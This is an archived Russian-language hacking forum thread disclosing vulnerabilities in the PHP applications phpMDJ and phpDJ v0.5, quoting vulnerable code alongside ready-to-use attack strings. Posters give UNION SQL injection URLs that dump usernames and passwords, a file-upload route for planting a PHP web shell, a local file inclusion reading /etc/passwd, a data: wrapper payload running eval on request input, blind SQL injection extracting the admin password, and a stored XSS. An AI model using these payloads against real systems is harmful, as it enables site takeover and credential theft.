Вход

Просмотр полной версии : phpMDJ


HAXTA4OK
08.11.2009, 12:53
SQL-inj

Файл profil.php

$membre = $_GET['id'];
$sql = "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre";

http://localhost/phpMDJ/profil.php?id=-1+union+select+1,2,concat_ws(0x3a,pseudo,mdp),4,5, 6,7,8,9,10,11,12,13,14,15,16+from+phpmdj_users--

Файл calendrire.php


$event = $_GET['id'];
....
elseif($mode == "anime")
{$sql = "SELECT * FROM phpmdj_animes WHERE id_anime = $event";


http://localhost/phpMDJ/calendrier.php?mode=anime&id=1+union+select+1,2,unhex(hex(version())),4,5,6, 7--


Залитие шелла

Файл admin_download.php

$rep = "../documents/";
$savefile = $rep.$_FILES["userfile"]["name"];
$temp = $_FILES["userfile"]["tmp_name"];
$fichier = $_FILES["userfile"]["name"];
$titre = prepareText($_POST["titre"]);
$date = mktime();
$groupe= $_POST['groupe'];
if(move_uploaded_file($temp, $savefile))

http://localhost/phpMDJ/admin/admin_download.php?mode=ajout

Льем шелл и как видим он попадает в папку documents =>

http://localhost/phpMDJ/documents/shell.php

SQL в админке (не так важно, но все же поиск багов)

Файл admin_news


$news = $_GET['id_news'];
...
elseif($mode == "edit")
{
$sql = "SELECT * FROM phpmdj_news WHERE id_news = $news";



http://localhost/phpMDJ/admin/admin_news.php?mode=edit&id_news=-2+union+select+1,2,version(),4,5,6--

aXSS

Отправляем письмо c заголовком <script>alert()</script>

Jokester
23.04.2010, 15:46
слив роа

_iks_
02.07.2010, 17:46
phpMDJ v0.5(latest)

Download: http://sourceforge.net/projects/phpdj/

LFI(mq==off):

Уязвимый файл:

./dj/djpage.php

Код:


...

$page=$_GET['page'];

$type=$_GET['type'];

$name=$_GET['name'];

if ($_SESSION["phprank"] =="Suspended"){

echo"Your account is suspended. You may NOT ac cess this page.";

include"blank.html";

exit();

} else if($page=="main"){

echo"Welcome to Radio Panel™, ".$_SESSION["phpname"].".
You are currently a(n) ".$_SESSION["phprank"];

...

//проверяет содержимое page и делает что-то как в коде выше

...

} else if ($type=="html") {

include"$page.html";

} else {

include"$page.php";

}



Эксплуатация:

./dj/djpage.php?page=../../../../../../../../etc/passwd%00​

Ctacok
05.07.2010, 03:27
Вообще-то, там выполнение кода, без mq=off можно


dj/djpage.php?page=data:,%3C?php%20eval($_REQUEST[cmd]);%20?%3E&cmd=phpinfo();


(Ну если mq =on то base64 )

Ща пишу сплойт, точнее писал. Закончу выложу.

Blind Sql injection.

Уязвимый файл:

usercomplaint.php


$djname=$_POST['djname'];

$user=$_POST['offusername'];

$userip=$_POST['offip'];

$complaint=$_POST['comments'];

$djip=$_SERVER['REMOTE_ADDR'];

$date=date('F jS Y, h:iA');

include ("sql.php");

mysql_query("INSERT INTO `abuse` ( `djname` , `djip` , `date` , `user` , `userip` , `complaint` ) VALUES ( '$djname' , '$djip' , '$date' , '$user' , '$userip' , '$complaint')")

or die ("Could not insert into database.".mysql_error());

echo"Report succesfully sent.";



How to:


1',(SELECT name FROM members where rank=char( 97,100,109,105,110) AND ascii(lower(substring((S ELECT pass from members),1,1)))>=100),null,null,null,null)--

Post'ом естественно.

Sql injection:

Need mq = off


/dj/showprofiles_info.php?name=-1'+union+select+1,2,3,4,5,6,7,8,9+--+




$name=$_GET["name"];

// Стасок плакал

$sql_pass_get="SELECT * FROM profile WHERE name='$name'";



Blind SQL injection

dj/showalert.php


$message=$_POST['message'];

$checkip=$_POST['checkip'];

$djname=$_POST['djname'];

include"sql.php";

mysql_query("TRUNCATE TABLE `ipalert`");

mysql_query("INSERT INTO `ipalert` ( `IP` , `message` , `djname` ) VALUES ( '$checkip', '$message' , '$djname' );")

or die ("Could not insert into database.");

echo"Alert issued.";



Аналогично верхнему, токо чуть чуть подругому.